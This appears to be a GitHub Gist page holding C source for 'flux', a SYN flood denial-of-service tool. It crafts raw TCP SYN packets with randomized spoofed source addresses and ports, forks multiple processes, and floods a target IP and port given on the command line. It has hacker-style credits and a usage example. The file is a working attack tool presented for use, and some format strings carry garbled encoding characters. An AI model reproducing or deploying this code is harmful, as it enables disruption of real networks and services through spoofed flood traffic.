Last active
September 29, 2022 14:19
-
-
Save mertcangokgoz/c53bb247cee4fa821d8e7d78fc19147a to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <netinet/in.h> | |
#include <netdb.h> | |
#include <sys/time.h> | |
#include <sys/types.h> | |
#include <unistd.h> | |
#include <stdlib.h> | |
#include <signal.h> | |
#include <time.h> | |
void usage(); | |
void getUserPriv(); | |
int getSrcPort(); | |
const char credit[] = "made by th3 $^N|)M^N, gr33tz to all!!!"; | |
struct packet { | |
unsigned short ihl: 4; | |
unsigned short ver: 4; | |
unsigned char tos; | |
unsigned short len; | |
unsigned short id; | |
unsigned short flag_offset; | |
unsigned char ttl; | |
unsigned char prot; | |
unsigned short ipsum; | |
unsigned long source; | |
unsigned long dest; | |
unsigned short sport; | |
unsigned short dport; | |
unsigned long seq; | |
unsigned long ack_seq; | |
unsigned char offset; | |
unsigned char flags; | |
unsigned short win; | |
unsigned short tcpsum; | |
unsigned short urgptr; | |
char option[8]; | |
}; | |
FILE * fp; | |
main(int argc, char * argv[]) { | |
getUserPriv(); //check user priv | |
if (argc < 5) { | |
usage(); //exit if argument failure | |
} | |
int tmp = 1; | |
int forks = atoi(argv[3]); | |
/*forks defined here, depends on the number of threads user asked for.*/ | |
for (tmp = 0; tmp < forks; tmp++) fork(); | |
int a1, a2, a3, a4; | |
char a1s[20], a2s[20], a3s[20], a4s[20]; | |
/*lets open da socket and define it be raw*/ | |
int sockd = socket(PF_INET, SOCK_RAW, 6); | |
/*call HDRINCL and let the kernel know we do the talking :)*/ | |
if (setsockopt(sockd, IPPROTO_IP, IP_HDRINCL, (char * ) & tmp, sizeof(tmp)) < 0) { | |
printf("Error in setting HDRINCL"); | |
exit(0); | |
} | |
/*create packet struct */ | |
struct packet synp; | |
bzero( & synp, sizeof(struct packet)); /*zero out the struct*/ | |
/*init sin struct*/ | |
struct sockaddr_in sin; | |
/*take host port and convert to unsigned short*/ | |
unsigned short hport = atoi(argv[2]); | |
int packets = atoi(argv[4]); //number of packets | |
if (packets == 0) packets = -1; //if user wants infinite, set packets to -1 | |
int counter = 0; //counter for the while loop. | |
printf("Syn Flooding: %Âs at port: %Âs\n", argv[1], argv[2]); | |
while (counter != packets) { | |
synp.ihl = 5; | |
synp.ver = 4; | |
synp.len = htons(sizeof(struct packet)); | |
synp.flag_offset = 0; | |
synp.prot = 6; | |
synp.flags = 2; | |
synp.ttl = 225; | |
synp.offset = 112; | |
synp.win = htons(65535); | |
synp.dport = htons(hport); //destination port... | |
//set packet options. | |
synp.option[0] = 2; | |
synp.option[1] = 4; | |
synp.option[2] = 5; | |
synp.option[3] = 0xB4; | |
synp.option[4] = 1; | |
synp.option[5] = 1; | |
synp.option[6] = 4; | |
synp.option[7] = 2; | |
synp.tcpsum = 0; //zero the sum for now... | |
register int count = (sizeof(struct packet) - 20) >> 1, sum; | |
register unsigned short * p = & synp.sport; | |
int srcp = getSrcPort(); //generate random port. | |
//Generate Random Ip for src | |
a1 = (int)((rand() % (255 - 10 + 1)) + 10); | |
a2 = (int)((rand() % (255 - 10 + 1)) + 10); | |
a3 = (int)((rand() % (255 - 10 + 1)) + 10); | |
a4 = (int)((rand() % (255 - 10 + 1)) + 10); | |
sprintf(a1s, "%d", a1); | |
sprintf(a2s, "%d", a2); | |
sprintf(a3s, "%d", a3); | |
sprintf(a4s, "%d", a4); | |
strcat(a1s, "."); | |
strcat(a2s, "."); | |
strcat(a3s, "."); | |
strcat(a1s, a2s); | |
strcat(a1s, a3s); | |
strcat(a1s, a4s); | |
// | |
synp.sport = htons(srcp); //source port [RANDOMIZED] | |
synp.source = inet_addr(a1s); //our source address [RANDOMIZED] | |
synp.seq = random(); | |
synp.ack_seq = random(); | |
synp.id = htons(1 + 255 * ((random() % 256) | 0xFF)); //random id | |
synp.dest = inet_addr(argv[1]); | |
sin.sin_family = AF_INET; /*define internet domain*/ | |
sin.sin_port = synp.dport; /*define dest port.*/ | |
sin.sin_addr.s_addr = synp.dest; /*define host address*/ | |
/*calc header checksum*/ | |
sum = (synp.source >> 16) + (synp.source & 0xffff) + (synp.dest >> 16) + | |
(synp.dest & 0xffff) + 1536 + htons(count << 1); | |
while (count--) sum += * p++; | |
sum = (sum >> 16) + (sum & 0xffff); | |
synp.tcpsum = ~(sum += (sum >> 16)); | |
// | |
/*Send da baby*/ | |
if (sendto(sockd, & synp, sizeof(struct packet), 0, (struct sockaddr * ) & sin, sizeof(struct sockaddr_in)) < 0) { | |
printf("Sendto error!"); | |
exit(0); | |
} | |
counter = counter + 1; | |
} | |
} | |
/*usage func*/ | |
void usage() { | |
printf("Usage:\n"); | |
printf("./flux ip port threads amount_of_packets(0 = max)\n"); | |
printf("./flux 111.222.333.444 80 3 500\n"); | |
exit(0); | |
} | |
/*user priv func, just checking for root.*/ | |
void getUserPriv() { | |
char command[80] = "whoami > priv"; | |
char command2[80] = "rm priv"; | |
char fname[30] = "priv"; | |
char user[20]; | |
system(command); | |
fp = fopen(fname, "r"); | |
fscanf(fp, "%Âs", & user); | |
fclose(fp); | |
system(command2); | |
if (strcmp(user, "root") == 1) { | |
printf("Need root privelages to run...\n"); | |
exit(0); | |
} | |
} | |
/*random port generator func. */ | |
int getSrcPort() { | |
int port = (rand() % (60000 - 2000 + 1)) + 2000; | |
return port; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment